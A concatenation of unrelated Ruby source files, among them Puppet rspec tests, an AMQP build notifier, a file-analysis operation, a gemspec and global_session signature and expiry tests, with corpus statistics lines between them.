.with(path: '/usr/bin:/bin:/usr/sbin:/sbin',
command: 'wget -qO- https://downloads.globus.org/toolkit/globus-connect-server/globus-connect-server-repo-latest.noarch.rpm | rpm2cpio - | cpio -i --quiet --to-stdout ./etc/pki/rpm-gpg/RPM-GPG-KEY-Globus > /etc/pki/rpm-gpg/RPM-GPG-KEY-Globus', # rubocop:disable Metrics/LineLength
creates: '/etc/pki/rpm-gpg/RPM-GPG-KEY-Globus',
before: 'Yumrepo[Globus-Toolkit]')
end
it 'creates Yumrepo[Globus-Toolkit]' do
is_expected.to contain_yumrepo('Globus-Toolkit').with(descr: 'Globus-Toolkit-6',
baseurl: baseurl,
failovermethod: 'priority',
priority: '98',
enabled: '1',
gpgcheck: '1',
gpgkey: 'file:///etc/pki/rpm-gpg/RPM-GPG-KEY-Globus')
end
it 'creates Yumrepo[globus-connect-server-5' do
is_expected.to contain_yumrepo('globus-connect-server-5').with(descr: 'Globus-Connect-Server-5',
baseurl: baseurl_v5,
failovermethod: 'priority',
priority: '98',
enabled: '1',
gpgcheck: '1',
gpgkey: 'file:///etc/pki/rpm-gpg/RPM-GPG-KEY-Globus',
require: 'Exec[RPM-GPG-KEY-Globus]')
end
end
end
| 56.71831 | 294 | 0.4815 |
1d3fabc6feeee2d1f9a33cd4fdbea1590e156ff2 | 1,597 | require 'json'
require 'bunny'
module Integrity
class Notifier
class AMQP < Notifier::Base
def self.to_haml
<<-HAML
%p.normal
%label{ :for => "amqp_queue_host" } Host
%input.text#amqp_queue_host{ |
:name => "notifiers[AMQP][queue_host]", |
:type => "text", |
:value => config["queue_host"] || |
"localhost" } |
%p.normal
%label{ :for => "amqp_exchange_name" } Exchange
%input.text#amqp_exchange_name{ |
:name => "notifiers[AMQP][exchange_name]", |
:type => "text", |
:value => config["exchange_name"] || |
"integrity" } |
HAML
end
def initialize(build, config={})
@exchange_name = config["exchange_name"]
@queue_host = config["queue_host"]
super
end
def deliver!
b = Bunny.new(:host => @queue_host)
# start a communication session with the amqp server
b.start
# declare exchange
exch = b.exchange(@exchange_name, :type => :fanout)
# json message to be put on the queue
msg = JSON.generate({
"name" => build.project.name,
"status" => build.status,
"url" => build_url,
"author" => build.commit.author.name,
"message" => build.commit.message
})
# publish a message to the queue
exch.publish(msg)
# close the connection
b.stop
end
end
end
end
| 27.067797 | 60 | 0.500939 |
1d78d463ac40cecca2d185511c0f8e3661a1da0f | 2,971 | require 'core/operation'
require 'concurrent-edge'
require 'digest'
module Operations
class Analyze < Operation
params_validation do
required(:user).filled
required(:url).filled(:str?)
required(:files).each do
schema do
required(:filename).filled(:str?)
required(:type).filled(:str?)
required(:name).filled(:str?)
required(:tempfile).filled
end
end
end
def call(params)
output = yield validate(params)
prepared_files = yield prepare_files(output)
checksum = yield calc_checksum(prepared_files)
prev_analysis = find_analysis(output, checksum)
unless prev_analysis.nil?
update_history(output[:user], prev_analysis)
return Success(prev_analysis)
end
analysis = yield create_analysis(output, checksum)
files = yield create_files(analysis, prepared_files)
results = yield analyze_files(files)
update_status(analysis, results)
update_history(output[:user], analysis)
Success(analysis)
end
private
def prepare_files(output)
files = output[:files].map do |params|
{ file: params, status: 'pending', checksum: calc_file_checksum(params[:tempfile]) }
end
Success(files)
end
def calc_file_checksum(file)
md5 = Digest::MD5.new
while buffer = file.read(4096)
md5 << buffer
end
file.rewind
md5.hexdigest
end
def calc_checksum(files)
file_checksums = files.map { |fp| fp[:checksum] }.sort.join
Success(Digest::MD5.hexdigest(file_checksums))
end
def find_analysis(output, checksum)
Analysis.find_previous(checksum: checksum, url: output[:url])
end
def update_history(user, analysis)
user.add_analysis(analysis)
end
def create_analysis(output, checksum)
record = Analysis.create(status: 'pending', url: output[:url], checksum: checksum)
Success(record)
end
def create_files(analysis, prepared_files)
files = prepared_files.map { |params| analysis.add_file_analysis(params) }
Success(files)
end
# Parallel background processing
# https://github.com/ruby-concurrency/concurrent-ruby/blob/3265766bce62ceb5a9852fcf50463e1a837f4448/doc/promises.in.md#parallel-background-processing
def analyze_files(files)
jobs = files.map do |f|
Concurrent::Promises.future(f) { Operations::AnalyzeFile.new.call(record: f) }
end
results = Concurrent::Promises.zip(*jobs).value!
Success(results)
end
def update_status(analysis, results)
all_stats = Set.new
results.each do |result|
record, status = result.value!.values_at(:record, :status)
all_stats << status
record.update(status: status)
end
all_safe = all_stats.to_a == %w[safe]
analysis.update(status: all_safe ? 'safe' : 'unsafe')
end
end
end
| 27.256881 | 153 | 0.654998 |
21d9a75173bf3a0e2065dce7fd571527352461e6 | 1,468 | # -*- encoding: utf-8 -*-
# stub: request_store 1.4.1 ruby lib
Gem::Specification.new do |s|
s.name = "request_store".freeze
s.version = "1.4.1"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Steve Klabnik".freeze]
s.date = "2018-03-16"
s.description = "RequestStore gives you per-request global storage.".freeze
s.email = ["[email protected]".freeze]
s.homepage = "http://github.com/steveklabnik/request_store".freeze
s.licenses = ["MIT".freeze]
s.rubygems_version = "3.0.6".freeze
s.summary = "RequestStore gives you per-request global storage.".freeze
s.installed_by_version = "3.0.6" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<rack>.freeze, [">= 1.4"])
s.add_development_dependency(%q<rake>.freeze, ["~> 10.5"])
s.add_development_dependency(%q<minitest>.freeze, ["~> 5.0"])
else
s.add_dependency(%q<rack>.freeze, [">= 1.4"])
s.add_dependency(%q<rake>.freeze, ["~> 10.5"])
s.add_dependency(%q<minitest>.freeze, ["~> 5.0"])
end
else
s.add_dependency(%q<rack>.freeze, [">= 1.4"])
s.add_dependency(%q<rake>.freeze, ["~> 10.5"])
s.add_dependency(%q<minitest>.freeze, ["~> 5.0"])
end
end
| 37.641026 | 112 | 0.662125 |
f8a213c32822395eb4f96ecef5f4483b5eacf165 | 2,116 | # Copyright 2017 Google Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ----------------------------------------------------------------------------
#
# *** AUTO GENERATED CODE *** AUTO GENERATED CODE ***
#
# ----------------------------------------------------------------------------
#
# This file is automatically generated by Magic Modules and manual
# changes will be clobbered when the file is regenerated.
#
# Please read more about how to change this file in README.md and
# CONTRIBUTING.md located at the root of this package.
#
# ----------------------------------------------------------------------------
require 'google/storage/property/base'
module Google
module Storage
module Data
# A Time that always returns a ISO8601 String
class Time < ::Time
def to_s
# All GCP APIs expect timestamps in the ISO-8601 / RFC3339 format
# Overriding the .to_s method ensures that Ruby will get a
# ISO-8601 timestamp at the last moment and ensures the timestamp
# format is abstracted away.
iso8601
end
end
end
module Property
# A Puppet property that holds a date & time value
class Time < Google::Storage::Property::Base
def self.unsafe_munge(value)
return if value.nil?
Data::Time.parse(value)
end
def unsafe_munge(value)
self.class.unsafe_munge(value)
end
def self.api_munge(value)
return if value.nil?
Data::Time.parse(value)
end
end
end
end
end
| 32.060606 | 78 | 0.587902 |
01431132e02433d19ec7161aa3174c4e47c8311d | 107 | module OrderEngine
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end
end
| 17.833333 | 46 | 0.775701 |
7a89256ad1f75a58bff96866c663d61b6622df41 | 23,106 | #! /usr/bin/env ruby -S rspec
require 'spec_helper'
require 'puppet/indirector/rest'
shared_examples_for "a REST http call" do
it "should accept a path" do
lambda { @search.send(@method, *@arguments) }.should_not raise_error(ArgumentError)
end
it "should require a path" do
lambda { @searcher.send(@method) }.should raise_error(ArgumentError)
end
it "should return the results of deserializing the response to the request" do
conn = mock 'connection'
conn.stubs(:put).returns @response
conn.stubs(:delete).returns @response
conn.stubs(:get).returns @response
Puppet::Network::HttpPool.stubs(:http_instance).returns conn
@searcher.expects(:deserialize).with(@response).returns "myobject"
@searcher.send(@method, *@arguments).should == 'myobject'
end
end
describe Puppet::Indirector::REST do
before :all do
Puppet::Indirector::Terminus.stubs(:register_terminus_class)
@model = stub('model', :supported_formats => %w{}, :convert_from => nil)
@instance = stub('model instance', :name= => nil)
@indirection = stub('indirection', :name => :mystuff, :register_terminus_type => nil, :model => @model)
Puppet::Indirector::Indirection.expects(:instance).returns(@indirection)
module This
module Is
module A
module Test
end
end
end
end
@rest_class = class This::Is::A::Test::Class < Puppet::Indirector::REST
self
end
end
before :each do
@response = stub('mock response', :body => 'result', :code => "200")
@response.stubs(:[]).with('content-type').returns "text/plain"
@response.stubs(:[]).with('content-encoding').returns nil
@searcher = @rest_class.new
@searcher.stubs(:model).returns @model
end
it "should include the v1 REST API module" do
Puppet::Indirector::REST.ancestors.should be_include(Puppet::Network::HTTP::API::V1)
end
it "should have a method for specifying what setting a subclass should use to retrieve its server" do
@rest_class.should respond_to(:use_server_setting)
end
it "should use any specified setting to pick the server" do
@rest_class.expects(:server_setting).returns :servset
Puppet.settings.expects(:value).with(:servset).returns "myserver"
@rest_class.server.should == "myserver"
end
it "should default to :server for the server setting" do
@rest_class.expects(:server_setting).returns nil
Puppet.settings.expects(:value).with(:server).returns "myserver"
@rest_class.server.should == "myserver"
end
it "should have a method for specifying what setting a subclass should use to retrieve its port" do
@rest_class.should respond_to(:use_port_setting)
end
it "should use any specified setting to pick the port" do
@rest_class.expects(:port_setting).returns :servset
Puppet.settings.expects(:value).with(:servset).returns "321"
@rest_class.port.should == 321
end
it "should default to :port for the port setting" do
@rest_class.expects(:port_setting).returns nil
Puppet.settings.expects(:value).with(:masterport).returns "543"
@rest_class.port.should == 543
end
describe "when making http requests" do
include PuppetSpec::Files
it "should provide a suggestive error message when certificate verify failed" do
connection = Net::HTTP.new('my_server', 8140)
@searcher.stubs(:network).returns(connection)
connection.stubs(:get).raises(OpenSSL::SSL::SSLError.new('certificate verify failed'))
expect do
@searcher.http_request(:get, stub('request'))
end.to raise_error(/This is often because the time is out of sync on the server or client/)
end
it "should provide a helpful error message when hostname was not match with server certificate", :unless => Puppet.features.microsoft_windows? do
Puppet[:confdir] = tmpdir('conf')
cert = Puppet::SSL::CertificateAuthority.new.generate('not_my_server', :dns_alt_names => 'foo,bar,baz').content
connection = Net::HTTP.new('my_server', 8140)
@searcher.stubs(:network).returns(connection)
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.stubs(:current_cert).returns(cert)
connection.stubs(:get).with do
connection.verify_callback.call(true, ssl_context)
end.raises(OpenSSL::SSL::SSLError.new('hostname was not match with server certificate'))
msg = /Server hostname 'my_server' did not match server certificate; expected one of (.+)/
expect { @searcher.http_request(:get, stub('request')) }.to(
raise_error(Puppet::Error, msg) do |error|
error.message =~ msg
$1.split(', ').should =~ %w[DNS:foo DNS:bar DNS:baz DNS:not_my_server not_my_server]
end
)
end
it "should pass along the error message otherwise" do
connection = Net::HTTP.new('my_server', 8140)
@searcher.stubs(:network).returns(connection)
connection.stubs(:get).raises(OpenSSL::SSL::SSLError.new('some other message'))
expect do
@searcher.http_request(:get, stub('request'))
end.to raise_error(/some other message/)
end
end
it 'should default to :puppet for the srv_service' do
Puppet::Indirector::REST.srv_service.should == :puppet
end
describe "when deserializing responses" do
it "should return nil if the response code is 404" do
response = mock 'response'
response.expects(:code).returns "404"
@searcher.deserialize(response).should be_nil
end
[300,400,403,405,500,501,502,503,504].each { |rc|
describe "when the response code is #{rc}" do
before :each do
@model.expects(:convert_from).never
@response = mock 'response'
@response.stubs(:code).returns rc.to_s
@response.stubs(:[]).with('content-encoding').returns nil
@response.stubs(:message).returns "There was a problem (header)"
end
it "should fail" do
@response.stubs(:body).returns nil
lambda { @searcher.deserialize(@response) }.should raise_error(Net::HTTPError)
end
it "should take the error message from the body, if present" do
@response.stubs(:body).returns "There was a problem (body)"
lambda { @searcher.deserialize(@response) }.should raise_error(Net::HTTPError,"Error #{rc} on SERVER: There was a problem (body)")
end
it "should take the error message from the response header if the body is empty" do
@response.stubs(:body).returns ""
lambda { @searcher.deserialize(@response) }.should raise_error(Net::HTTPError,"Error #{rc} on SERVER: There was a problem (header)")
end
it "should take the error message from the response header if the body is absent" do
@response.stubs(:body).returns nil
lambda { @searcher.deserialize(@response) }.should raise_error(Net::HTTPError,"Error #{rc} on SERVER: There was a problem (header)")
end
describe "and with http compression" do
it "should uncompress the body" do
@response.stubs(:body).returns("compressed body")
@searcher.expects(:uncompress_body).with(@response).returns("uncompressed")
lambda { @searcher.deserialize(@response) }.should raise_error { |e| e.message =~ /uncompressed/ }
end
end
end
}
it "should return the results of converting from the format specified by the content-type header if the response code is in the 200s" do
@model.expects(:convert_from).with("myformat", "mydata").returns "myobject"
response = mock 'response'
response.stubs(:[]).with("content-type").returns "myformat"
response.stubs(:[]).with("content-encoding").returns nil
response.stubs(:body).returns "mydata"
response.stubs(:code).returns "200"
@searcher.deserialize(response).should == "myobject"
end
it "should convert and return multiple instances if the return code is in the 200s and 'multiple' is specified" do
@model.expects(:convert_from_multiple).with("myformat", "mydata").returns "myobjects"
response = mock 'response'
response.stubs(:[]).with("content-type").returns "myformat"
response.stubs(:[]).with("content-encoding").returns nil
response.stubs(:body).returns "mydata"
response.stubs(:code).returns "200"
@searcher.deserialize(response, true).should == "myobjects"
end
it "should strip the content-type header to keep only the mime-type" do
@model.expects(:convert_from).with("text/plain", "mydata").returns "myobject"
response = mock 'response'
response.stubs(:[]).with("content-type").returns "text/plain; charset=utf-8"
response.stubs(:[]).with("content-encoding").returns nil
response.stubs(:body).returns "mydata"
response.stubs(:code).returns "200"
@searcher.deserialize(response)
end
it "should uncompress the body" do
@model.expects(:convert_from).with("myformat", "uncompressed mydata").returns "myobject"
response = mock 'response'
response.stubs(:[]).with("content-type").returns "myformat"
response.stubs(:body).returns "compressed mydata"
response.stubs(:code).returns "200"
@searcher.expects(:uncompress_body).with(response).returns("uncompressed mydata")
@searcher.deserialize(response).should == "myobject"
end
end
describe "when creating an HTTP client" do
before do
Puppet.settings.stubs(:value).returns("rest_testing")
end
it "should use the class's server and port if the indirection request provides neither" do
@request = stub 'request', :key => "foo", :server => nil, :port => nil
@searcher.class.expects(:port).returns 321
@searcher.class.expects(:server).returns "myserver"
Puppet::Network::HttpPool.expects(:http_instance).with("myserver", 321).returns "myconn"
@searcher.network(@request).should == "myconn"
end
it "should use the server from the indirection request if one is present" do
@request = stub 'request', :key => "foo", :server => "myserver", :port => nil
@searcher.class.stubs(:port).returns 321
Puppet::Network::HttpPool.expects(:http_instance).with("myserver", 321).returns "myconn"
@searcher.network(@request).should == "myconn"
end
it "should use the port from the indirection request if one is present" do
@request = stub 'request', :key => "foo", :server => nil, :port => 321
@searcher.class.stubs(:server).returns "myserver"
Puppet::Network::HttpPool.expects(:http_instance).with("myserver", 321).returns "myconn"
@searcher.network(@request).should == "myconn"
end
end
describe "when doing a find" do
before :each do
@connection = stub('mock http connection', :get => @response, :verify_callback= => nil)
@searcher.stubs(:network).returns(@connection) # neuter the network connection
# Use a key with spaces, so we can test escaping
@request = Puppet::Indirector::Request.new(:foo, :find, "foo bar", nil, :environment => "myenv")
end
describe "with a large body" do
it "should use the POST http method" do
params = {}
'aa'.upto('zz') do |s|
params[s] = 'foo'
end
# The request special-cases this parameter, and it
# won't be passed on to the server, so we remove it here
# to avoid a failure.
params.delete('ip')
@request = Puppet::Indirector::Request.new(:foo, :find, "foo bar", nil, params.merge(:environment => "myenv"))
@connection.expects(:post).with do |uri, body|
uri == "/myenv/foo/foo%20bar" and body.split("&").sort == params.map {|key,value| "#{key}=#{value}"}.sort
end.returns(@response)
@searcher.find(@request)
end
end
describe "with a small body" do
it "should use the GET http method" do
@searcher.expects(:network).returns @connection
@connection.expects(:get).returns @response
@searcher.find(@request)
end
end
it "should deserialize and return the http response, setting name" do
@connection.expects(:get).returns @response
instance = stub 'object'
instance.expects(:name=)
@searcher.expects(:deserialize).with(@response).returns instance
@searcher.find(@request).should == instance
end
it "should deserialize and return the http response, and not require name=" do
@connection.expects(:get).returns @response
instance = stub 'object'
@searcher.expects(:deserialize).with(@response).returns instance
@searcher.find(@request).should == instance
end
it "should use the URI generated by the Handler module" do
@connection.expects(:get).with { |path, args| path == "/myenv/foo/foo%20bar?" }.returns(@response)
@searcher.find(@request)
end
it "should provide an Accept header containing the list of supported formats joined with commas" do
@connection.expects(:get).with { |path, args| args["Accept"] == "supported, formats" }.returns(@response)
@searcher.model.expects(:supported_formats).returns %w{supported formats}
@searcher.find(@request)
end
it "should add Accept-Encoding header" do
@searcher.expects(:add_accept_encoding).returns({"accept-encoding" => "gzip"})
@connection.expects(:get).with { |path, args| args["accept-encoding"] == "gzip" }.returns(@response)
@searcher.find(@request)
end
it "should deserialize and return the network response" do
@searcher.expects(:deserialize).with(@response).returns @instance
@searcher.find(@request).should equal(@instance)
end
it "should set the name of the resulting instance to the asked-for name" do
@searcher.expects(:deserialize).with(@response).returns @instance
@instance.expects(:name=).with "foo bar"
@searcher.find(@request)
end
it "should generate an error when result data deserializes fails" do
@searcher.expects(:deserialize).raises(ArgumentError)
lambda { @searcher.find(@request) }.should raise_error(ArgumentError)
end
end
describe "when doing a head" do
before :each do
@connection = stub('mock http connection', :head => @response, :verify_callback= => nil)
@searcher.stubs(:network).returns(@connection)
# Use a key with spaces, so we can test escaping
@request = Puppet::Indirector::Request.new(:foo, :head, "foo bar", nil)
end
it "should call the HEAD http method on a network connection" do
@searcher.expects(:network).returns @connection
@connection.expects(:head).returns @response
@searcher.head(@request)
end
it "should return true if there was a successful http response" do
@connection.expects(:head).returns @response
@response.stubs(:code).returns "200"
@searcher.head(@request).should == true
end
it "should return false if there was a successful http response" do
@connection.expects(:head).returns @response
@response.stubs(:code).returns "404"
@searcher.head(@request).should == false
end
it "should use the URI generated by the Handler module" do
@searcher.expects(:indirection2uri).with(@request).returns "/my/uri"
@connection.expects(:head).with { |path, args| path == "/my/uri" }.returns(@response)
@searcher.head(@request)
end
end
describe "when doing a search" do
before :each do
@connection = stub('mock http connection', :get => @response, :verify_callback= => nil)
@searcher.stubs(:network).returns(@connection) # neuter the network connection
@model.stubs(:convert_from_multiple)
@request = Puppet::Indirector::Request.new(:foo, :search, "foo bar", nil)
end
it "should call the GET http method on a network connection" do
@searcher.expects(:network).returns @connection
@connection.expects(:get).returns @response
@searcher.search(@request)
end
it "should deserialize as multiple instances and return the http response" do
@connection.expects(:get).returns @response
@searcher.expects(:deserialize).with(@response, true).returns "myobject"
@searcher.search(@request).should == 'myobject'
end
it "should use the URI generated by the Handler module" do
@searcher.expects(:indirection2uri).with(@request).returns "/mys/uri"
@connection.expects(:get).with { |path, args| path == "/mys/uri" }.returns(@response)
@searcher.search(@request)
end
it "should provide an Accept header containing the list of supported formats joined with commas" do
@connection.expects(:get).with { |path, args| args["Accept"] == "supported, formats" }.returns(@response)
@searcher.model.expects(:supported_formats).returns %w{supported formats}
@searcher.search(@request)
end
it "should return an empty array if serialization returns nil" do
@model.stubs(:convert_from_multiple).returns nil
@searcher.search(@request).should == []
end
it "should generate an error when result data deserializes fails" do
@searcher.expects(:deserialize).raises(ArgumentError)
lambda { @searcher.search(@request) }.should raise_error(ArgumentError)
end
end
describe "when doing a destroy" do
before :each do
@connection = stub('mock http connection', :delete => @response, :verify_callback= => nil)
@searcher.stubs(:network).returns(@connection) # neuter the network connection
@request = Puppet::Indirector::Request.new(:foo, :destroy, "foo bar", nil)
end
it "should call the DELETE http method on a network connection" do
@searcher.expects(:network).returns @connection
@connection.expects(:delete).returns @response
@searcher.destroy(@request)
end
it "should fail if any options are provided, since DELETE apparently does not support query options" do
@request.stubs(:options).returns(:one => "two", :three => "four")
lambda { @searcher.destroy(@request) }.should raise_error(ArgumentError)
end
it "should deserialize and return the http response" do
@connection.expects(:delete).returns @response
@searcher.expects(:deserialize).with(@response).returns "myobject"
@searcher.destroy(@request).should == 'myobject'
end
it "should use the URI generated by the Handler module" do
@searcher.expects(:indirection2uri).with(@request).returns "/my/uri"
@connection.expects(:delete).with { |path, args| path == "/my/uri" }.returns(@response)
@searcher.destroy(@request)
end
it "should not include the query string" do
@connection.stubs(:delete).returns @response
@searcher.destroy(@request)
end
it "should provide an Accept header containing the list of supported formats joined with commas" do
@connection.expects(:delete).with { |path, args| args["Accept"] == "supported, formats" }.returns(@response)
@searcher.model.expects(:supported_formats).returns %w{supported formats}
@searcher.destroy(@request)
end
it "should deserialize and return the network response" do
@searcher.expects(:deserialize).with(@response).returns @instance
@searcher.destroy(@request).should equal(@instance)
end
it "should generate an error when result data deserializes fails" do
@searcher.expects(:deserialize).raises(ArgumentError)
lambda { @searcher.destroy(@request) }.should raise_error(ArgumentError)
end
end
describe "when doing a save" do
before :each do
@connection = stub('mock http connection', :put => @response, :verify_callback= => nil)
@searcher.stubs(:network).returns(@connection) # neuter the network connection
@instance = stub 'instance', :render => "mydata", :mime => "mime"
@request = Puppet::Indirector::Request.new(:foo, :save, "foo bar", nil)
@request.instance = @instance
end
it "should call the PUT http method on a network connection" do
@searcher.expects(:network).returns @connection
@connection.expects(:put).returns @response
@searcher.save(@request)
end
it "should fail if any options are provided, since DELETE apparently does not support query options" do
@request.stubs(:options).returns(:one => "two", :three => "four")
lambda { @searcher.save(@request) }.should raise_error(ArgumentError)
end
it "should use the URI generated by the Handler module" do
@searcher.expects(:indirection2uri).with(@request).returns "/my/uri"
@connection.expects(:put).with { |path, args| path == "/my/uri" }.returns(@response)
@searcher.save(@request)
end
it "should serialize the instance using the default format and pass the result as the body of the request" do
@instance.expects(:render).returns "serial_instance"
@connection.expects(:put).with { |path, data, args| data == "serial_instance" }.returns @response
@searcher.save(@request)
end
it "should deserialize and return the http response" do
@connection.expects(:put).returns @response
@searcher.expects(:deserialize).with(@response).returns "myobject"
@searcher.save(@request).should == 'myobject'
end
it "should provide an Accept header containing the list of supported formats joined with commas" do
@connection.expects(:put).with { |path, data, args| args["Accept"] == "supported, formats" }.returns(@response)
@searcher.model.expects(:supported_formats).returns %w{supported formats}
@searcher.save(@request)
end
it "should provide a Content-Type header containing the mime-type of the sent object" do
@connection.expects(:put).with { |path, data, args| args['Content-Type'] == "mime" }.returns(@response)
@instance.expects(:mime).returns "mime"
@searcher.save(@request)
end
it "should deserialize and return the network response" do
@searcher.expects(:deserialize).with(@response).returns @instance
@searcher.save(@request).should equal(@instance)
end
it "should generate an error when result data deserializes fails" do
@searcher.expects(:deserialize).raises(ArgumentError)
lambda { @searcher.save(@request) }.should raise_error(ArgumentError)
end
end
context 'dealing with SRV settings' do
[
:destroy,
:find,
:head,
:save,
:search
].each do |method|
it "##{method} passes the SRV service, and fall-back server & port to the request's do_request method" do
request = Puppet::Indirector::Request.new(:indirection, method, 'key', nil)
stub_response = stub 'response'
stub_response.stubs(:code).returns('200')
@searcher.stubs(:deserialize)
request.expects(:do_request).with(@searcher.class.srv_service, @searcher.class.server, @searcher.class.port).returns(stub_response)
@searcher.send(method, request)
end
end
end
end
| 38.964587 | 149 | 0.675193 |
bf929e529dd2b4d259cf512668c1870bc71beb30 | 11,919 | require 'jwt'
require 'spec_helper'
# Depends on the following `let`s:
# key_generation_parameter: one of [1024, 2048, 'prime256v1']
# signature_method: one of [:dsa_sign_asn1, :sign]
# approximate_token_size: Integer byte size of tokens
shared_examples_for 'all subclasses of Session::Abstract' do
include SpecHelper
before do
@key_factory = KeyFactory.new
@key_factory.create('authority1', true, parameter:key_generation_parameter)
@key_factory.create('authority2', false, parameter:key_generation_parameter)
end
after do
@key_factory.destroy
end
before(:each) do
mock_config('common/attributes/signed', ['user'])
mock_config('common/attributes/insecure', ['favorite_color'])
mock_config('test/timeout', '60')
end
after(:each) do
reset_mock_config
end
context '#initialize' do
before(:each) do
mock_config('test/trust', ['authority1'])
mock_config('test/authority', 'authority1')
@directory = GlobalSession::Directory.new(mock_config, @key_factory.dir)
@original_session = subject.new(@directory)
@cookie = @original_session.to_s
end
context 'when everything is copacetic' do
it 'succeeds' do
loaded = subject.new(@directory, @cookie)
expect(loaded).to be_kind_of(GlobalSession::Session::Abstract)
expect(loaded.id).to eq(@original_session.id)
end
end
context 'when an insecure attribute changes' do
before do
@cookie = tamper_with_insecure_attributes(subject, @cookie, {'favorite_color' => 'blue'})
end
it 'succeeds' do
expect(subject.new(@directory, @cookie)).to be_a(GlobalSession::Session::Abstract)
end
end
context 'when a secure attribute is tampered with' do
before do
@cookie = tamper_with_signed_attributes(subject, @cookie, {'evil_haxor' => 'mwahaha'})
end
it 'raises InvalidSignature' do
expect {
subject.new(@directory, @cookie)
}.to raise_error(GlobalSession::InvalidSignature)
end
end
context 'when the signer is not trusted' do
before do
mock_config('test/trust', ['authority1'])
mock_config('test/authority', 'authority1')
@directory2 = GlobalSession::Directory.new(mock_config, @key_factory.dir)
@cookie = subject.new(@directory2).to_s
mock_config('test/trust', ['authority2'])
mock_config('test/authority', nil)
end
it 'raises InvalidSignature' do
expect {
subject.new(@directory, @cookie)
}.to raise_error(GlobalSession::InvalidSignature)
end
end
context 'when the session is expired' do
before do
fake_now = Time.at(Time.now.to_i + 3_600*2)
flexmock(Time).should_receive(:now).and_return(fake_now)
end
it 'raises ExpiredSession' do
expect {
subject.new(@directory, @cookie)
}.to raise_error(GlobalSession::ExpiredSession)
end
end
context 'when an empty cookie is supplied' do
it 'creates a new valid session' do
expect(subject.new(@directory, '').valid?).to eq(true)
end
context 'and there is no local authority' do
before(:each) do
flexmock(@directory).should_receive(:local_authority_name).and_return(nil)
flexmock(@directory).should_receive(:private_key).and_return(nil)
end
it 'creates a new invalid session' do
expect(subject.new(@directory, '').valid?).to eq(false)
end
end
end
context 'when malformed cookies are supplied' do
bad_cookies = [ '#$(%*#@%^&#!($%*#', rand(2**256).to_s(16) ]
bad_cookies.each do |cookie|
it 'copes' do
expect {
subject.new(@directory, cookie)
}.to raise_error(GlobalSession::MalformedCookie)
end
end
end
end
context 'given a valid session' do
before(:each) do
mock_config('test/trust', ['authority1'])
mock_config('test/authority', 'authority1')
@directory = GlobalSession::Directory.new(mock_config, @key_factory.dir)
@session = subject.new(@directory)
end
context '#renew!' do
it 'updates created_at' do
old = @session.created_at
future_time = Time.at(Time.now.to_i + 5)
flexmock(Time).should_receive(:now).and_return future_time
@session.renew!
expect(@session.created_at).not_to eq(old)
end
it 'updates expired_at' do
old = @session.expired_at
future_time = Time.at(Time.now.to_i + 5)
flexmock(Time).should_receive(:now).and_return future_time
@session.renew!
expect(@session.expired_at).not_to eq(old)
end
end
context '#new_record?' do
it 'returns true when the session was just created' do
expect(@session.new_record?).to eq(true)
end
it 'returns false when the session was loaded from a cookie' do
loaded_session = subject.new(@directory, @session.to_s)
expect(loaded_session.new_record?).to eq(false)
end
end
context '#delete' do
context 'when the key is insecure' do
before(:each) do
@session['favorite_color'] = 'bar'
end
it 'removes the key from the session' do
@session.delete('favorite_color')
expect(@session['favorite_color']).to eq(nil)
end
end
context 'when the key is signed' do
before(:each) do
@session['user'] = 'bar'
end
it 'removes the key from the session' do
@session.delete('user')
expect(@session['user']).to eq(nil)
end
end
context 'when the key does not exist in the session' do
it 'raises ArgumentError' do
expect {
@session.delete('foo')
}.to raise_error(ArgumentError)
end
end
end
context 'given a valid session received over the network' do
let(:cookie) { @session.to_s }
before do
# force signature + reload + non-new-record
@session = subject.new(@directory, cookie)
end
context '#dirty?' do
it 'returns true when secure attributes change' do
expect(@session.dirty?).to eq(false)
@session['user'] = rand(2**32-1)
expect(@session.dirty?).to eq(true)
end
it 'returns true when insecure attributes change' do
expect(@session.dirty?).to eq(false)
@session['favorite_color'] = 'thistle'
expect(@session.dirty?).to eq(true)
end
end
context '#to_s' do
it 'produces a reasonably sized token' do
expect(@session.to_s.size).to be_within(approximate_token_size * 0.10).of(approximate_token_size)
end
it 'reuses signature when nothing has changed' do
expect(@session.to_s).to eq(cookie)
end
it 'reuses signature when insecure attributes change' do
@session['favorite_color'] = 'mauve'
expect(@session.to_s).not_to eq(cookie)
end
it 'computes signature when timestamps change' do
before = @session.to_s
sleep(1) # ensure timestamp will change
@session.renew!
after = @session.to_s
expect(before).not_to eq(after)
end
it 'computes signature when secure secure attributes change' do
@session['user'] = rand(2**32-1)
expect(@session.to_s).not_to eq(cookie)
end
end
context '#clone' do
before(:each) do
@session['user'] = 'bar'
end
it 'is not destructive to the original session' do
new_session = @session.clone
new_session.delete('user')
expect(@session['user']).to eq('bar')
end
end
end
end
end
# Depends on the following `let`s:
# algorithm_identifier: ES256, RSA256, etc
# key_generation_parameter: one of [1024, 2048, 'prime256v1']
# ... TODO ...
shared_examples_for 'JWT compatible subclasses of Session::Abstract' do
include SpecHelper
let(:trusted_issuer) { "my-#{algorithm_identifier}" }
let(:key_factory) { KeyFactory.new }
before do
key_factory.create(trusted_issuer, true, parameter:key_generation_parameter)
key_factory.create('untrusted', true, parameter:key_generation_parameter)
FileUtils.rm(File.join(key_factory.dir, 'untrusted.pub'))
end
after do
key_factory.destroy
end
let(:configuration) do
{
'attributes' => {
'signed' => ['sub']
},
'keystore' => {
'public' => key_factory.dir,
'private' => File.join(key_factory.dir, "#{trusted_issuer}.key"),
},
'timeout' => 60,
}
end
let(:directory) { GlobalSession::Directory.new(configuration) }
let(:trusted_public_key) do
directory.keystore.public_keys[trusted_issuer]
end
let(:trusted_private_key) do
directory.keystore.private_key
end
let(:untrusted_private_key) do
OpenSSL::PKey.read(File.read(File.join(key_factory.dir, 'untrusted.key')))
end
context '#initialize' do
let(:now) { Time.now }
